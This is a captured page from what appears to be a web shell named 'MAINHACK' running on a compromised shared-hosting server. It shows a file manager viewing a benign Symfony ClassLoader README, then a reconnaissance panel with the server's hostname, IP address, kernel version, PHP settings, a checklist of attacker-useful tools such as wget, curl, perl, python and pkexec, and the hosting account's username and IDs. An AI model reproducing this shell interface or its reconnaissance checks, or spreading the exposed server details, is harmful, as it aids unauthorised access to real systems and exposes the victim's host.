[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: README.md
File is not writable. Editing disabled.
ClassLoader Component ===================== ClassLoader loads your project classes automatically if they follow some standard PHP conventions. The Universal ClassLoader is able to autoload classes that implement the PSR-0 standard or the PEAR naming convention. First, register the autoloader: require_once __DIR__.'/src/Symfony/Component/ClassLoader/UniversalClassLoader.php'; use Symfony\Component\ClassLoader\UniversalClassLoader; $loader = new UniversalClassLoader(); $loader->register(); Then, register some namespaces with the `registerNamespace()` method: $loader->registerNamespace('Symfony', __DIR__.'/src'); $loader->registerNamespace('Monolog', __DIR__.'/vendor/monolog/src'); The `registerNamespace()` method takes a namespace prefix and a path where to look for the classes as arguments. You can also register a sub-namespaces: $loader->registerNamespace('Doctrine\\Common', __DIR__.'/vendor/doctrine-common/lib'); The order of registration is significant and the first registered namespace takes precedence over later registered one. You can also register more than one path for a given namespace: $loader->registerNamespace('Symfony', array(__DIR__.'/src', __DIR__.'/symfony/src')); Alternatively, you can use the `registerNamespaces()` method to register more than one namespace at once: $loader->registerNamespaces(array( 'Symfony' => array(__DIR__.'/src', __DIR__.'/symfony/src'), 'Doctrine\\Common' => __DIR__.'/vendor/doctrine-common/lib', 'Doctrine' => __DIR__.'/vendor/doctrine/lib', 'Monolog' => __DIR__.'/vendor/monolog/src', )); For better performance, you can use the APC based version of the universal class loader: require_once __DIR__.'/src/Symfony/Component/ClassLoader/UniversalClassLoader.php'; require_once __DIR__.'/src/Symfony/Component/ClassLoader/ApcUniversalClassLoader.php'; use Symfony\Component\ClassLoader\ApcUniversalClassLoader; $loader = new ApcUniversalClassLoader('apc.prefix.'); Furthermore, the component provides tools to aggregate classes into a single file, which is especially useful to improve performance on servers that do not provide byte caches. Resources --------- You can run the unit tests with the following command: $ cd path/to/Symfony/Component/ClassLoader/ $ composer.phar install $ phpunit
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server290.web-hosting.com
Server IP: 162.0.232.250
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux server290.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
HDD Total: 93.04 GB
HDD Free: 67.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: afiencwd
User ID (UID): 821
Group ID (GID): 802
Script Owner UID: 821
Current Dir Owner: N/A